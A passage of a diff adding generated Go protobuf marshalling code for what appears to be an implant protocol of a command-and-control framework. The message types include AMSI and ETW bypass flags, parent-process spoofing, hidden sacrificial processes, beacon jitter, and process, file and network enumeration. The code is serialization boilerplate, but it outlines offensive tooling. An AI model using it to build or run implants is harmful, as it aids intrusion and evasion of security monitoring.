+} + +func (m *SysInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Process != nil { + size, err := m.Process.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Os != nil { + size, err := m.Os.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x5a + } + if m.IsPrivilege { + i-- + if m.IsPrivilege { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Workdir) > 0 { + i -= len(m.Workdir) + copy(dAtA[i:], m.Workdir) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Workdir))) + i-- + dAtA[i] = 0x12 + } + if len(m.Filepath) > 0 { + i -= len(m.Filepath) + copy(dAtA[i:], m.Filepath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Filepath))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Suicide) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Suicide) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Suicide) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Timestamp != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timestamp)) + i-- + dAtA[i] = 0x10 + } + if m.Type != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Type)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Request) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Request) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Request) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x2a + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Input) > 0 { + i -= len(m.Input) + copy(dAtA[i:], m.Input) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Input))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Response) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Response) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Response) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Array) > 0 { + for iNdEx := len(m.Array) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Array[iNdEx]) + copy(dAtA[i:], m.Array[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Array[iNdEx]))) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Kv) > 0 { + for k := range m.Kv { + v := m.Kv[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Error) > 0 { + i -= len(m.Error) + copy(dAtA[i:], m.Error) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Error))) + i-- + dAtA[i] = 0x12 + } + if len(m.Output) > 0 { + i -= len(m.Output) + copy(dAtA[i:], m.Output) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Output))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *BypassRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *BypassRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *BypassRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.BlockDll { + i-- + if m.BlockDll { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.AMSI { + i-- + if m.AMSI { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.ETW { + i-- + if m.ETW { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *NetInterface) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *NetInterface) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *NetInterface) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.IpAddresses) > 0 { + for iNdEx := len(m.IpAddresses) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.IpAddresses[iNdEx]) + copy(dAtA[i:], m.IpAddresses[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.IpAddresses[iNdEx]))) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Mac) > 0 { + i -= len(m.Mac) + copy(dAtA[i:], m.Mac) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Mac))) + i-- + dAtA[i] = 0x1a + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x12 + } + if m.Index != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Index)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *SockTabEntry) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SockTabEntry) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *SockTabEntry) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Protocol) > 0 { + i -= len(m.Protocol) + copy(dAtA[i:], m.Protocol) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Protocol))) + i-- + dAtA[i] = 0x32 + } + if len(m.Pid) > 0 { + i -= len(m.Pid) + copy(dAtA[i:], m.Pid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Pid))) + i-- + dAtA[i] = 0x2a + } + if len(m.SkState) > 0 { + i -= len(m.SkState) + copy(dAtA[i:], m.SkState) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SkState))) + i-- + dAtA[i] = 0x1a + } + if len(m.RemoteAddr) > 0 { + i -= len(m.RemoteAddr) + copy(dAtA[i:], m.RemoteAddr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.RemoteAddr))) + i-- + dAtA[i] = 0x12 + } + if len(m.LocalAddr) > 0 { + i -= len(m.LocalAddr) + copy(dAtA[i:], m.LocalAddr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.LocalAddr))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *NetstatResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *NetstatResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *NetstatResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Socks) > 0 { + for iNdEx := len(m.Socks) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Socks[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Block) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Block) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Block) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Content) > 0 { + i -= len(m.Content) + copy(dAtA[i:], m.Content) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Content))) + i-- + dAtA[i] = 0x12 + } + if m.BlockId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.BlockId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *ACK) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ACK) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ACK) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.Success { + i-- + if m.Success { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.Id != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Id)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Os) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Os) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Os) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.ClrVersion) > 0 { + for iNdEx := len(m.ClrVersion) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.ClrVersion[iNdEx]) + copy(dAtA[i:], m.ClrVersion[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ClrVersion[iNdEx]))) + i-- + dAtA[i] = 0x42 + } + } + if len(m.Locale) > 0 { + i -= len(m.Locale) + copy(dAtA[i:], m.Locale) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Locale))) + i-- + dAtA[i] = 0x3a + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + copy(dAtA[i:], m.Hostname) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0x32 + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0x2a + } + if len(m.Arch) > 0 { + i -= len(m.Arch) + copy(dAtA[i:], m.Arch) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Arch))) + i-- + dAtA[i] = 0x22 + } + if len(m.Release) > 0 { + i -= len(m.Release) + copy(dAtA[i:], m.Release) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Release))) + i-- + dAtA[i] = 0x1a + } + if len(m.Version) > 0 { + i -= len(m.Version) + copy(dAtA[i:], m.Version) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Version))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Process) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Process) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Process) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Uid) > 0 { + i -= len(m.Uid) + copy(dAtA[i:], m.Uid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Uid))) + i-- + dAtA[i] = 0x42 + } + if len(m.Args) > 0 { + i -= len(m.Args) + copy(dAtA[i:], m.Args) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args))) + i-- + dAtA[i] = 0x3a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x32 + } + if len(m.Arch) > 0 { + i -= len(m.Arch) + copy(dAtA[i:], m.Arch) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Arch))) + i-- + dAtA[i] = 0x2a + } + if len(m.Owner) > 0 { + i -= len(m.Owner) + copy(dAtA[i:], m.Owner) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Owner))) + i-- + dAtA[i] = 0x22 + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x18 + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Timer) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Timer) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Timer) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Jitter != 0 { + i -= 8 + binary.LittleEndian.PutUint64(dAtA[i:], uint64(math.Float64bits(float64(m.Jitter)))) + i-- + dAtA[i] = 0x11 + } + if len(m.Expression) > 0 { + i -= len(m.Expression) + copy(dAtA[i:], m.Expression) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Expression))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *FileInfo) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *FileInfo) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *FileInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Link) > 0 { + i -= len(m.Link) + copy(dAtA[i:], m.Link) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Link))) + i-- + dAtA[i] = 0x32 + } + if m.Mode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Mode)) + i-- + dAtA[i] = 0x28 + } + if m.ModTime != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ModTime)) + i-- + dAtA[i] = 0x20 + } + if m.Size != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Size)) + i-- + dAtA[i] = 0x18 + } + if m.IsDir { + i-- + if m.IsDir { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *SacrificeProcess) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SacrificeProcess) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *SacrificeProcess) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Argue) > 0 { + i -= len(m.Argue) + copy(dAtA[i:], m.Argue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Argue))) + i-- + dAtA[i] = 0x2a + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x20 + } + if m.Etw { + i-- + if m.Etw { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.BlockDll { + i-- + if m.BlockDll { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.Hidden { + i-- + if m.Hidden { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *LsResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *LsResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *LsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Files) > 0 { + for iNdEx := len(m.Files) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Files[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1a + } + } + if m.Exists { + i-- + if m.Exists { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DriveInfo) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DriveInfo) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *DriveInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.FileSystem) > 0 { + i -= len(m.FileSystem) + copy(dAtA[i:], m.FileSystem) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.FileSystem))) + i-- + dAtA[i] = 0x2a + } + if m.FreeSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.FreeSize)) + i-- + dAtA[i] = 0x20 + } + if m.TotalSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TotalSize)) + i-- + dAtA[i] = 0x18 + } + if len(m.DriveType) > 0 { + i -= len(m.DriveType) + copy(dAtA[i:], m.DriveType) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DriveType))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *EnumDriversResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *EnumDriversResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *EnumDriversResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Drives) > 0 { + for iNdEx := len(m.Drives) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Drives[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *PsResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PsResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *PsResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Processes) > 0 { + for iNdEx := len(m.Processes) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Processes[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *ExecRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ExecRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Ppid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Ppid)) + i-- + dAtA[i] = 0x50 + } + if m.Realtime { + i-- + if m.Realtime { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if m.Singleton { + i-- + if m.Singleton { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if m.Output { + i-- + if m.Output { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 